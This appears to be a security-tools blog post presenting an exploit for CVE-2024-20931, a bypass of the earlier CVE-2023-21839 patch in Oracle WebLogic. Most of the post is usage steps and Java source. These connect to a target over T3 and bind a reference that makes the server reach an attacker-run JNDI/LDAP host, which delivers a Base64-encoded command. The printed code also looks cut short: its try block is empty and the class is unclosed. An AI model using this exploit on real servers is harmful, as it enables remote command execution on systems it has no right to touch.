A vulnerability that serves as a bypass for the patched CVE-2023-21839 in Oracle WebLogic.

This article delves into the exploit’s mechanics, showcasing its usage and providing insights into its development and implications within the cybersecurity landscape.

CVE-2024-20931, this is the bypass of the patch of CVE-2023-21839 Oracle Weblogic

Usage: Setup JNDI, the specific one


java -jar CVE-2024-20931.jar
Please input target IP:
Please input target port:7001
Please input RMI Address(ip:port/exp):JNDISERVER:1389/Basic/Command/Base64/BASE64COMMAND


This is reworked from https://github.com/Leocodefocus (thank you), also at https://github.com/ATonysan/CVE-2024-20931_weblogic/tree/main, all come from the https://github.com/GlassyAmadeus/CVE-2024-20931
Java version "1.8.0_151", is required for JNDIExploit as well as for the current CVE.

Practice using a docker environment Limited commands are supported, e.g. try with curl (no ping/nslookup on the image).

import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Scanner;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import weblogic.deployment.jms.ForeignOpaqueReference;

public class MainClass {
  public static void main(String[] args) throws NamingException, NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
    String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    Scanner scanner = new Scanner(System.in);
    System.out.print("Please input target IP:");
    String targetIP = scanner.nextLine();
    System.out.print("Please input target port:");
    String targetPort = scanner.nextLine();
    String url = "t3://" + targetIP + ":" + targetPort;
    Hashtable<Object, Object> env1 = new Hashtable<>();
    env1.put("java.naming.factory.initial", JNDI_FACTORY);
    env1.put("java.naming.provider.url", url);
    InitialContext c = new InitialContext(env1);
    Hashtable<Object, Object> env2 = new Hashtable<>();
    System.out.print("Please input RMI Address(ip:port/exp):");
    String exp = scanner.nextLine();
    env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
    env2.put("datasource", "ldap://" + exp);
    ForeignOpaqueReference f = new ForeignOpaqueReference();
    Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
    jndiEnvironment.set(f, env2);
    Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
    String ldap = "ldap://" + exp;
    remoteJNDIName.set(f, ldap);
    c.rebind("glassy", f);
    try {
    } catch (Exception exception) {}

Published by Tamil S

Tamil has a great interest in the fields of Cyber Security, OSINT, and CTF projects. Currently, he is deeply involved in researching and publishing various security tools with Kali Linux Tutorials, which is quite fascinating.

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